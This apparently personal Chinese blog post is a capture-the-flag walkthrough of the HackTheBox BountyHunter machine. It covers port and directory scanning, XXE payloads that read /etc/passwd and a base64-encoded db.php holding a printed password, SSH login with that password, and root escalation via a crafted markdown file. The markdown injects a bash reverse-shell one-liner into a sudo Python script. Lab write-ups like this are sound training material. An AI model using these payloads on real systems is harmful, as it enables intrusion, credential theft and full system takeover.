HackTheBox-BountyHunter靶场

@

HackTheBox-BountyHunter靶场

准备工作

  • 打开hackthebox并找到bountyhunter靶场,关注并获取到IP地址
  • 在hackthebox中下载vpn
  • Kali虚拟机,并运行指定的vpn

信息搜集

我拿到的IP地址为:10.10.11.100

在这里插入图片描述

  • 使用nmap进行端口扫描,看看开放了哪些端口。sudo nmap -Pn -sS -p- 10.10.11.100

    在这里插入图片描述

  • 可以看到开放了22端口和80端口。22端口可以用于ssh连接,但是目前没有账号和密码;80端口直接可以直接访问
    在这里插入图片描述

  • 挖洞!大概过一遍网页的功能后,发现有三个地方比较可疑

  • 第一是页面往下翻,有一个按钮叫“Download our pricing guide”,从名字上来看是个下载文件的按钮,因此可能存在任意文件下载的漏洞,但是点了却没反应,跳过。

    在这里插入图片描述

  • 继续往下翻有一张表单,可能存在XSS注入。如果调用后台接口则可能存在更多的漏洞。但是输入数据或者点击按钮都没有反应,也没看到请求,因此跳过

    在这里插入图片描述

  • 最后一个则是点击顶部导航栏中的PORTAL选项,然后点击here会进入到一个页面,同样存在表单(同时可以发现这是个php的站,通常启动php项目会采用apache2服务,而apache2存放项目的路径默认为/var/www/html)

    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述

  • 正常操作一遍
    在这里插入图片描述

    • 它将我们输入的内容展示在了下边,同时burp也拦截到了请求

      在这里插入图片描述

    • 那个data参数非常可疑,看起来像是加密的数据,猜测是Base64,因此尝试解密

      在这里插入图片描述

    • 发现是前端输入的参数,以xml的格式传入后台,因此非常有可能存在XXE漏洞,放入payload:<!DOCTYPE a[<!ENTITY xxe SYSTEM "file:///etc/passwd">]>,并在下方对该内容进行输出<title>&xxe;</title>。然后使用Base64加密后发包

      在这里插入图片描述
      在这里插入图片描述

    • 读取到了passwd文件的内容,因此此处确实存在XXE漏洞。并且根据内容分析,有一个叫做development的账号后边的数字大于1000(通常大于1000的是手动创建的用户账号),因此也做一个记录

  1. 使用dirb扫描目录,看看有哪些文件。sudo dirb http://10.10.11.100(dirb命令默认使用的是/usr/share/dirb/worklists/common.txt字典)

    在这里插入图片描述

    • 除去一些assets、css、js文件夹之外,还有一个叫做resources的文件夹,打开浏览器访问一下
      在这里插入图片描述

    • 里边有一个可疑的README.txt文件,打开看看

      在这里插入图片描述

    • 使用wfuzz扫描文件,看看有没有一些可以读的配置。sudo wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 "http://10.10.11.100/FUZZ.php"

    在这里插入图片描述

    可以看到除了index、portal之外还有一个叫做db的文件。根据命名判断这是个和数据库配置有关的文件。

    总结

    在这里插入图片描述

漏洞利用

在上一步中,搜集了一些信息,比如疑似配置文件的db.php和一些漏洞。在这一步就要尝试使用已知的漏洞对系统发起攻击

  • 使用XXE漏洞尝试读取db.php(读取时对该文件进行加密)<!DOCTYPE a [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php">]>

    在这里插入图片描述

    对结果进行Base64解密

    在这里插入图片描述

    结果疑似数据库的配置文件,并且包含一个密码:m19RoAU0hP41A1sTsq6K

    尝试用该密码连接shell

    在这里插入图片描述

    龟龟!真连上了,牛批

提权

  • 尝试sudo -l命令来查看可以development可以使用sudo命令操作的内容:

    在这里插入图片描述

  • 发现可以执行python和一个python文件,打开查看该python文件:

    在这里插入图片描述

  • 大概来讲这个文件是通过读取一个markdown文件,并配置一系列的规则,符合这些规则的话便可以执行一个字符串表达式(通过exec函数)。在这个表达式我们可以通过嵌入一个python代码来执行root命令,但是我们并不能通过命令行来获取到root账号的密码,需要想办法通过命令行来打开账号为root的命令窗口,而exec函数并不能打开这样的命令窗口,它只是返回了表达式的值............

  • 综上所述,这里需要做的是:

    1. 创建markdown文件

      在这里插入图片描述

    2. 写入符合规则的内容来使代码走到exec函数的位置

      # Skytrain Inc
      ## Ticket to 
      __Ticket Code:__
      **1404 + 10 == 1414 and __import__('os').system("bash -c 'exec bash -i >& /dev/tcp/10.10.11.100/4444 0>&1'") == False
      
    3. 然后通过构建一段命令来打开拥有root权限的命令窗口(详见上述代码)。ip地址需要替换成自己在hackthebox上申请的靶场ip

    4. 使用反弹shell来打开一个新的、拥有root账号的shell窗口

      打开新的shell窗口,并使用nc命令监听端口

      在这里插入图片描述

  • 准备完毕后,使用命令sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py运行python程序,并输入markdown的文件名,然后在反弹shell的窗口中便可看到拥有root权限的命令行

    在这里插入图片描述

  • 至此,提权完成,write out!

posted @ 2021-10-26 17:33  HU芦娃  阅读(311)  评论(0编辑  收藏  举报